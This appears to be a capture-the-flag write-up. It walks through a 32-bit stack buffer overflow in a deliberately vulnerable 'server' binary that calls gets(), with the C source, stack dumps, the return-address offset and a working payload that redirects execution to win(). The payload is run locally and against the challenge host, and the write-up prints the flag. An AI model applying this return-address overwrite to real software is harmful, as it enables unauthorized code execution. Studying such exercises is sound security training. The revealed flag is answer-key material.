RIP my bof
6 minutes to read
We are given a 32-bit binary called server
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We also have the C source code. Basically, what the program does is call function gets
, which is vulnerable to Buffer Overflow:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void win() {
system("/bin/cat /flag.txt");
}
void vuln() {
char padding[16];
char buff[32];
memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
memset(padding, 0xFF, sizeof(padding)); // Mark the padding with 0xff.
// Initializes the stack visualization. Don't worry about it!
init_visualize(buff);
// Prints out the stack before modification
visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification
visualize(buff);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
vuln();
}
The aim of the challenge is to redirect the program execution to call function win
by exploiting the Buffer Overflow vulnerability. In fact, the program is built to show the stack before and after calling gets
:
$ ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffe40090 | 00 00 00 00 00 00 00 00 |
0xffe40098 | 00 00 00 00 00 00 00 00 |
0xffe400a0 | 00 00 00 00 00 00 00 00 |
0xffe400a8 | 00 00 00 00 00 00 00 00 |
0xffe400b0 | ff ff ff ff ff ff ff ff |
0xffe400b8 | ff ff ff ff ff ff ff ff |
0xffe400c0 | 80 25 ee f7 00 a0 04 08 |
0xffe400c8 | d8 00 e4 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: AAAA
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffe40090 | 41 41 41 41 00 00 00 00 |
0xffe40098 | 00 00 00 00 00 00 00 00 |
0xffe400a0 | 00 00 00 00 00 00 00 00 |
0xffe400a8 | 00 00 00 00 00 00 00 00 |
0xffe400b0 | ff ff ff ff ff ff ff ff |
0xffe400b8 | ff ff ff ff ff ff ff ff |
0xffe400c0 | 80 25 ee f7 00 a0 04 08 |
0xffe400c8 | d8 00 e4 ff 8b 86 04 08 |
Return address: 0x0804868b
We need to overwrite the bytes shown in red ($eip
register). To reach this point, we need a total of 60 bytes. We can test it using BBBB
:
$ python3 -c 'print("A" * 60 + "BBBB")' | ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xfff8b4a0 | 00 00 00 00 00 00 00 00 |
0xfff8b4a8 | 00 00 00 00 00 00 00 00 |
0xfff8b4b0 | 00 00 00 00 00 00 00 00 |
0xfff8b4b8 | 00 00 00 00 00 00 00 00 |
0xfff8b4c0 | ff ff ff ff ff ff ff ff |
0xfff8b4c8 | ff ff ff ff ff ff ff ff |
0xfff8b4d0 | 80 85 f0 f7 00 a0 04 08 |
0xfff8b4d8 | e8 b4 f8 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xfff8b4a0 | 41 41 41 41 41 41 41 41 |
0xfff8b4a8 | 41 41 41 41 41 41 41 41 |
0xfff8b4b0 | 41 41 41 41 41 41 41 41 |
0xfff8b4b8 | 41 41 41 41 41 41 41 41 |
0xfff8b4c0 | 41 41 41 41 41 41 41 41 |
0xfff8b4c8 | 41 41 41 41 41 41 41 41 |
0xfff8b4d0 | 41 41 41 41 41 41 41 41 |
0xfff8b4d8 | 41 41 41 41 42 42 42 42 |
Return address: 0x42424242
zsh: done python3 -c 'print("A" * 60 + "BBBB")' |
zsh: segmentation fault (core dumped) ./server
The program crashes (segmentation fault) because the address 0x42424242
(BBBB
) is invalid.
Now that we have full control of the next instruction to execute ($eip
register), we can put the address of win
. This address can be obtained using readelf
:
$ readelf -s server | grep win
64: 08048586 43 FUNC GLOBAL DEFAULT 14 win
This hexadecimal number must be entered in little-endian format (bytes in reverse order). If we want to test it locally, we must create a file /flag.txt
:
# echo THISISTHEFLAG | tee /flag.txt
THISISTHEFLAG
Now we can enter our payload:
$ echo -e "$(python3 -c 'print("A" * 60)')\x86\x85\x04\x08" | ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffc2ea30 | 00 00 00 00 00 00 00 00 |
0xffc2ea38 | 00 00 00 00 00 00 00 00 |
0xffc2ea40 | 00 00 00 00 00 00 00 00 |
0xffc2ea48 | 00 00 00 00 00 00 00 00 |
0xffc2ea50 | ff ff ff ff ff ff ff ff |
0xffc2ea58 | ff ff ff ff ff ff ff ff |
0xffc2ea60 | 80 d5 f7 f7 00 a0 04 08 |
0xffc2ea68 | 78 ea c2 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffc2ea30 | 41 41 41 41 41 41 41 41 |
0xffc2ea38 | 41 41 41 41 41 41 41 41 |
0xffc2ea40 | 41 41 41 41 41 41 41 41 |
0xffc2ea48 | 41 41 41 41 41 41 41 41 |
0xffc2ea50 | 41 41 41 41 41 41 41 41 |
0xffc2ea58 | 41 41 41 41 41 41 41 41 |
0xffc2ea60 | 41 41 41 41 41 41 41 41 |
0xffc2ea68 | 41 41 41 41 86 85 04 08 |
Return address: 0x08048586
THISISTHEFLAG
zsh: done echo -e "$(python3 -c 'print(chr(0x41) * 60)')\x86\x85\x04\x08" |
zsh: segmentation fault (core dumped) ./server
Perfect, we have successfully called win
. Now let’s do it on server side:
$ echo -e "$(python3 -c 'print("A" * 60)')\x86\x85\x04\x08" | nc thekidofarcrania.com 4902
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xff856760 | 00 00 00 00 00 00 00 00 |
0xff856768 | 00 00 00 00 00 00 00 00 |
0xff856770 | 00 00 00 00 00 00 00 00 |
0xff856778 | 00 00 00 00 00 00 00 00 |
0xff856780 | ff ff ff ff ff ff ff ff |
0xff856788 | ff ff ff ff ff ff ff ff |
0xff856790 | c0 a5 f0 f7 00 a0 04 08 |
0xff856798 | a8 67 85 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xff856760 | 41 41 41 41 41 41 41 41 |
0xff856768 | 41 41 41 41 41 41 41 41 |
0xff856770 | 41 41 41 41 41 41 41 41 |
0xff856778 | 41 41 41 41 41 41 41 41 |
0xff856780 | 41 41 41 41 41 41 41 41 |
0xff856788 | 41 41 41 41 41 41 41 41 |
0xff856790 | 41 41 41 41 41 41 41 41 |
0xff856798 | 41 41 41 41 86 85 04 08 |
Return address: 0x08048586
CTFlearn{c0ntr0ling_r1p_1s_n0t_t00_h4rd_abjkdlfa}
timeout: the monitored command dumped core